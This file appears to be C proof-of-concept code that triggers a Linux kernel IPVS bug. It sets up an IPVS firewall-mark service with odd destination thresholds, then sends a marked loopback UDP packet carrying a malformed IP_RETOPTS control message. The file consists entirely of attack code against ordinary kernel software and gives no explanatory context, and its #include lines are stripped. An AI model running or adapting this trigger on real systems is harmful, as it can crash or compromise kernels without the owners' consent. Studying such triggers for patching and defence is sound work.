#define _GNU_SOURCE #include #include #include #include #include #include #include #define MARK 0x41414141 struct ip_vs_svcdest_user { struct ip_vs_service_user s; struct ip_vs_dest_user d; }; void setup_ipvs() { int sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); struct ip_vs_service_user su = { .protocol = IPPROTO_UDP, // just a valid protocol .addr = htobe32(0), .port = 0, .fwmark = MARK, // addr,port don't matter because we have a mark here .sched_name = "dh", .flags = 0, .timeout = 0, .netmask = 0 }; setsockopt(sock, SOL_IP, IP_VS_SO_SET_ADD, &su, sizeof(su)); struct ip_vs_service_user su2 = { .protocol = IPPROTO_UDP, // just a valid protocol .addr = htobe32(0), .port = htobe16(0), .fwmark = MARK, // addr,port don't matter because we have a mark here .sched_name = "dh", .flags = 0, .timeout = 0, .netmask = 0 }; struct ip_vs_dest_user du = { .addr = htobe32(0xa010101), // 160.16.16.1, just an invalid address .port = htobe16(0), .conn_flags = 0, .weight = 1, .u_threshold = -1, .l_threshold = 0x800 }; struct ip_vs_svcdest_user arg = { .s = su2, .d = du }; setsockopt(sock, SOL_IP, IP_VS_SO_SET_ADDDEST, &arg, sizeof(arg)); } void send_pkt(void) { int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); struct sockaddr_in sa; sa.sin_family = AF_INET; sa.sin_port = htons(0); inet_pton(AF_INET, "127.0.0.1", &(sa.sin_addr)); bind(sock, &sa, sizeof(sa)); connect(sock, &sa, sizeof(sa)); // mark our packets so it will get routed to the invalid host int val = MARK; setsockopt(sock, SOL_SOCKET, SO_MARK, &val, sizeof(val)); // basically sending an empty control message // all this message contains is a byte of IPOPT_END struct cmsghdr *cmsghdr = calloc(sizeof(struct cmsghdr)+1, 1); cmsghdr->cmsg_len = 0x11; // cmsghdr->cmsg_level = SOL_IP; // 0 cmsghdr->cmsg_type = IP_RETOPTS; *(char *)cmsghdr->__cmsg_data = 0; struct msghdr msghdr = { .msg_name = NULL, .msg_namelen = 0, .msg_iov = NULL, .msg_iovlen = 0, .msg_control = cmsghdr, .msg_controllen = cmsghdr->cmsg_len, .msg_flags = 0 }; sendmsg(sock, &msghdr, 0); } int main(void) { setup_ipvs(); send_pkt(); return 0; }